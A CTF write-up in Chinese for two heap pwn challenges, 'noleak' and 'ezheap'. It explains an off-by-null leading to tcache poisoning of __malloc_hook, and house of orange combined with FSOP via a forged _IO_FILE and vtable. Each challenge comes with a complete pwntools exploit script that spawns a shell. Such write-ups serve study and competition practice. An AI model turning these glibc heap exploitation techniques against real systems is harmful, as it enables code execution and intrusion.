#1 noleak

这个题需要先通过secret()的检查才能进入到主程序。

1647930375505.png

可以看出来,就是一个简单的栅栏加密。

1647930431023.png

1647930513370.png

但是要注意的是,他用的是4个32bit的整数来存,程序使用小端字节序,所以要从最低位开始。

解密后的结果是

1
buf = '\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37'

然后分析每个功能,在edit()中发现了off by null

1
2
v0 = read(0, (void *)chunks[2 * v2], LODWORD(chunks[2 * v2 + 1]));
v3[v0] = 0;

所以可以利用这个溢出的\x00来修改下一个chunk的prev_inuse位,导致前面的chunk被合并,放进unsorted bin,可以leak libc。(house of einherjar)

(用三个chunk,chunk A, chunk B, chunk C,需要先把chunk A和chunk C的size的tcache装满,然后利用chunk B去off by null改掉chunkC的size)

我这里是用了两个0x100和一个0x20的chunk来完成的leak libc

1647933829143.png

因为tcache_entries的检查可以忽略掉,所以根本不需要找符合要求的fake_chunk,写到__malloc_hook就完事了。(比传统的house of spirit还简单)

1647933978760.png

直接把one_gadget写进去,就能getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = process(['./pwn'], env={'LD_PRELOAD':'./libc.so.6'})

buf = '\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37'
p.recvuntil('str:')
p.sendline(buf)

def choice(idx):
p.recvuntil('>')
p.sendline(str(idx))

def alloc(idx, sz):
choice(1)
p.recvuntil('Index?\n')
p.sendline(str(idx))
p.recvuntil('Size?\n')
p.sendline(str(sz))

def show(idx):
choice(2)
p.recvuntil('Index?\n')
p.sendline(str(idx))

def edit(idx, content):
choice(3)
p.recvuntil('Index?\n')
p.sendline(str(idx))
p.recvuntil('content:\n')
p.sendline(str(content))

def delete(idx):
choice(4)
p.recvuntil('Index?\n')
p.sendline(str(idx))

alloc(0, 0xf0)
alloc(1, 0x18)
alloc(2, 0xf0)
alloc(9, 0x18)

for i in range(7):
alloc(i+3, 0xf0)
for i in range(7):
delete(i+3)

delete(0) # ready to leak libc
pay = p64(0)*2 + p64(0x100+0x20)
edit(1, pay) # off by null, cancel next chunk's prev_inuse bit
delete(2)
alloc(0, 0x110)
show(0) # leak libc

hook = libc.symbols['__malloc_hook']
base = u64(p.recv(6) + '\x00\x00') - 0x3afeb0
print hex(hook + base)
print hex(base)

# getshell
delete(1)
pay = p64(0)*0x1f + p64(0x20) + p64(hook+base) # tcache poisoning
edit(0, pay)

alloc(2, 0x18)
alloc(3, 0x18)
one = [0x41602, 0x41656, 0xdeec2]
edit(3, p64(one[2]+base))

alloc(4, 0x80)

p.interactive()

#2 ezheap

直接分析吧

1648108803907.png

一开始给了一个堆上的地址

然后就是菜单流程,但是与众不同的是,只有创建、修改和show的功能,没有free。所以想要用main arena来leak libc就需要用到house of orange来把原来的top chunk放进unsorted bin里。

比较顺利的是,这题的chng_wp()是很明显存在堆溢出的,所以可以做到house of orange。

house of orange简单的说,就是利用要申请的chunk size > top chunk size时,原来的top chunk会被放入unsorted bin,然后再使用mmap或者sys_brk申请新的top chunk。

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

要使用sys_brk来扩展堆,还需要注意malloc的尺寸不能大于mmp_.mmap_threshold

另外,top chunk被放入unsorted bin需要通过glibc的验证:

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

即:

​ 1.伪造的size在内存需要页对齐(对齐0x1000,及4kb)

​ 2.top chunk的size要大于MINSIZE

​ 3.top chunk的size要小于接下来申请的chunk size + MINSIZE

​ 4.prev_inuse bit需要为1

1648558595104.png

1648558662385.png

这里我将top chunk改成了0xfc1,申请一个0x1000的chunk触发sys_brk重新分配top chunk,把原来的top chunk放进了unsorted bin,然后再申请一个chunk,就可以把libc上的地址打印下来。(原题house of orange在一开始是没有给出heap地址的,所以原来的做法是申请一个large chunk,让unsorted chunk先把它切割下来在large bin里面过一遍,拿到fd_nextsize作为leak的堆地址)

但是问题来了,由于不好leak PIE基址,现在该如何getshell呢?

这里需要用到_IO_FILE的利用方法了。

在libc2.23以及之前的版本中,vtable是可以被伪造在heap段的,所以这里可以直接在堆里写一个_IO_FILE对象出来,然后再把vtable伪造出来。

由于malloc报错的时候,会调用_IO_flush_all_lockp这个函数去刷新文件流,这相当于对每一个 _IO_FILE对象调用fflush,进而调用vtable中的 _IO_overflow。而且vtable中的函数指针在被调用时,默认都会将他的对应的 _IO_FILE对象的地址当做第一个参数来传递,这个时候在我们写的那个 _IO_FILE对象的prev_size处写上’/bin/sh\x00’,然后再将 _IO_overflow函数指针劫持到system函数,就能完成getshell了。

(但是,将对应的 _IO_FILE对象的地址那里改成’/bin/sh\x00’会破坏 _IO_FILE结构中的 _flags成员,就会导致很多函数指针执行前的检查不通过,但是此题环境下的 _IO_flush_all_lockp是可以通过的)

所有_IO_FILE对象都是由 _IO_list_all这个链表串起来的,所以要使用unsortedbin attack将我们写的这个 _IO_FILE的地址写到 _IO_list_all上去。

1648559752061.png

这题我伪造好的_IO_FILE和vtable就像这样。

1648559831275.png

1648559877237.png

libc2.23中的 _ IO_flush_all_lockp 对_IO_FILE有一些检查,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}

也就是:

  1. _IO_write_base < _IO_write_ptr

  2. _mode <= 0

另外可以补充一下_IO_flush_all_lockp函数会被调用的场景

  1. 当libc执行abort流程时
  2. 当执行exit函数时
  3. 当执行流从main函数返回时
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='debug'
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
p = process('./pwn')

def choice(idx):
p.recvuntil('choice : ')
p.sendline(str(idx))

def create(sz, content):
choice(1)
p.recvuntil('size of it')
p.sendline(str(sz))
p.recvuntil('Name?')
p.sendline(content)

def edit(sz, content):
choice(2)
p.recvuntil('size of it')
p.sendline(str(sz))
p.recvuntil('name')
p.sendline(content)

heapbase = int(p.recvline()[2:-1], 16) & 0xfffffffffffff000
print(hex(heapbase))
create(0x18, 'DDDD')
pay = b'a'*0x18 + p64(0xfc1)
edit(len(pay), pay)

create(0x1000, 'hacked by k')
create(0x400, 'AAAAAAA')
choice(3)
p.recvuntil('AAAAAAA\n')
libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3c5188
sys = libcbase + libc.symbols['system']
io_list_all = libcbase + libc.symbols['_IO_list_all']
# print(hex(libcbase))
# fsop
pay = cyclic(0x400)
pay += b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(io_list_all-0x10) # unsortedbin atk
pay += p64(0) + p64(1)
pay = pay.ljust(0x4d8, b'\x00')
pay += p64(heapbase+0x520)
pay += p64(0) + p64(sys)

edit(len(pay), pay)
choice(1)
p.recvuntil('size of it')
p.sendline('24')

p.interactive()